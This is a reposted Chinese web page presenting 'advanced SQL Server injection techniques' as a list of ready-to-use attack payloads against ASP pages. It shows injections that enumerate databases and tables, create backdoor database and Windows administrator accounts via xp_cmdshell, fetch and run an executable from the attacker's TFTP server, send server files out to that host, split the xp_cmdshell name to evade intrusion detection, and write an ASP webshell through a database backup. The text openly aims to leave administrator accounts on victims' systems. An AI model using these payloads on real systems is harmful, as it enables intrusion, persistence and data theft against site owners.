桂林老兵的SQLSERVER高级注入技巧(摘)

来源:互联网 发布:caj转换word软件 编辑:程序博客网 时间:2024/04/30 08:20
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
 现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友:


前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的SQL语法相关文章


[获取全部名]
selectnamefrommaster.dbo.sysdatabaseswheredbid=7//dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
selecttop1namefrom数据库名.dbo.sysobjectswherextype='u'andstatus>0andnamenotin('table')


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
selecttop1数据库名.dbo.col_name(object_id('要查询的数据表名'),字段列如:1)[where条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;execmaster.dbo.sp_addlogintest,test;--//添加数据库用户用户test,密码为test
news.asp?id=2;execmaster.dbo.sp_passwordtest,123456,test;--//如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;execmaster.dbo.sp_addsrvrolemembertest,sysadmin;--//将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;execmaster.dbo.xp_cmdshell'netusertesttest/add';--//添加系统用户test,密码为test
news.asp?id=2;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorstest/add';--//将系统用户test提升为管理员


这样,你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]


id=2;execmaster.dbo.xp_cmdshell'tftp–i你的IPgetfile.exe';--


然后运行这个文件:
id=2;execmaster.dbo.xp_cmdshell'file.exe';--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2;execmaster.dbo.xp_cmdshell'tftp–i你的IPPutfile2.doc';--


绕过IDS的检测[使用变量]
declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:/'
declare@asysnameset@a='xp'+'_cm'+'dshell'exec@a'dirc:/'


新加的:


建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backupdatabasedbnametodisk='d:/web/db.asp';


报错得到系统和数据库系统版本号
id=2and1<>(select@@VERSION);
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
原创粉丝点击